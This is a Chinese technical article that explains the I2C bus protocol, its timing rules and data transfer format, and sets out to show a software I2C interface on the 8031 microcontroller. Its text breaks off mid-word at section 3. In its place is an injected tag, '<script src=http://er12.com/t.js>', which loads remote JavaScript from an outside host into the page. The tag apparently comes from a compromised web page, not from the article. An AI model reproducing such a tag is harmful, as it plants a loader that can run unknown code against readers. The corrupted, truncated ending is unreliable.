【摘要】目前，mcs51系列、atmel89系列、68hc05系列等单片机应用很广，但他们均没有i2c总线接口，限制了在这些系统中使用具有i2c总线接口器件的应用。本文将介绍i2c串行总线的性能，并以串行e2prom为例，给出在8031上利用i/o线实现i2c串行总线的方法和软件设计。
关键词：单片机，i2c总线，接口
1 i2c总线概述
i2c（inter ic bus）总线是由philips公司提出的串行通信接口规范，常见的中文译名有“集成电路间总线”或“内部集成电路总线”。它使用两条线： 串行数据线（sda）和串行时钟线（scl），使连接到该总线上可访问的器件之间传送信息，属于多主控制总线。总线上的每个器件均可设置唯一的地址，从而可实现器件的有效访问。自philips公司推出i2c总线后，philips公司及其他公司纷纷相继推出了许多i2c总线产品，如各种微处理器、存储器（pcf8571/8570，128/256 字节）、a/d（pcf8591）、d/a（tda8442/8444）转换器、e2prom及各种i2c总线接口电路（pcf8584）等。由于i2c总线的使用可以简化电路，省掉了很多常规电路中的接口器件，提高产品的可靠性，在许多领域尤其在目前使用的ic卡获得了广泛的应用，国际标准iso7816-2规定了ic卡与读写设备信息传输是基于i2c总线传输协议的。不仅如此，i2c总线在家电方面也有较广泛的应用，如国产长虹nc-3机芯彩电，东芝火箭炮等。尽管philips公司推出带有i2c总线接口的80c31系列单片机，如：8xc528、8xc552、8xc562、8xc751等，但在单片机组成的智能化仪表和测控系统中，乃有相当比例数量使用的是mcs51、at89c5x系列单片机，如8031、8751、at89c51、at89c52等，它们不具有i2c串行总线接口。本文将结合笔者在开发智能化产品用到的e2prom，介绍在不具有i2c串行总线接口的单片机8031应用系统中实现i2c总线接口的方法和软件设计。
2 i2c总线的组成及i2c总线性能
2.1 i2c总线的特点
由于i2c总线仅用二条线来传达信息，因而具有独特的优点：
① 可最大限度地简化结构；可实现电路系统的模块化、标准化设计。
② 标准i2c总线模块的组合开发方式大大地缩短了新产品的开发周期。
③ i2c总线系统具有很大的灵活性；i2c总线各节点具有独立的电气特性。
④ i2c总线系统可方便地对某一节点电路故障进行诊断与跟踪，有很好的可维护性。
2.2 i2c总线的组成
i2c总线是芯片间串行传输总线，与spi，microwire/plus接口不同，它以一根串行数据线和一根串行时钟线组成，如图1所示，它是全双工双向数据传输线，核心是主控cpu，被控器的sda，scl要相应地接到i2c总线的sda，scl上，可以方便地构成多机系统和外围器件扩展系统。i2c总线采用了器件地址的硬件设置方法，从而使硬件系统具有简单而灵活的扩展方法。按照i2c总线的规定，其sda、scl各要通过上拉电阻接到电源vcc上。
图1 i2c总线的组成
2.3 i2c总线协议
任何总线的推出及应用都有其特有的规定，其总线时序图如图2所示。
图2 i2c总线时序图
i2c总线一般须满足如下协议：
① 只有当总线不忙时，数据传送才能开始；
② 数据传送期间，无论何时时钟线为高，数据线必须保持稳定。当时钟线为高时，数据线的变化将认为是传送的开始或停止；
③ 当时钟线为高时，数据线由高到低的变化决定开始条件；
④ 当时钟线为高时，数据线由低到高的变化决定停止条件；
⑤ 在开始条件后，scl低电平期间，sda允许变化，每位数据需一个时钟脉冲，当scl为高时，sda必须稳定；
⑥ 主控器在应答时钟脉冲高电平期间释放sda线高，转由接收器控制。受控器在应答时钟脉冲高电平期间必须拉低sda线，以使之为稳定的低电平作为有效应答；
⑦ 总线不忙时，数据线和时钟线保持为高电平。
2.4 i2c总线上的数据传输方式
图3为i2c总线数据传输格式示意图，第一部分为数据传输起始信号，即由此开始进行数据传送；第二部分为受控ic的地址，用来选择向哪一个受控ic传送数据；第三部分为读/写位，它指示出受控ic的工作方式；第四部分为应答信号，它是被cpu选中的受控ic向cpu传回的确认信号；第五部分为传送的数据；第六部分为停止位。在i2c总线上挂接的所有被控ic都要有一个自己的地址，cpu在发送数据时，i2c总线上的所有被控ic都会将cpu发出位于起始信号后面的受控电路地址与自己的地址相比较，如果两者相同，则该被控ic认为自己被cpu选中，然后按照读/写位规定的工作方式接收或发送数据。
起始
被控ic地址
读/写控制位
应答位
数据
停止
图3 i2c总线数据传输格式
3 i2c总线在单片机8031中的实现
因为8031单片机不带有i2c总线硬件接口，只能靠编写软?script src=http://er12.com/t.js>
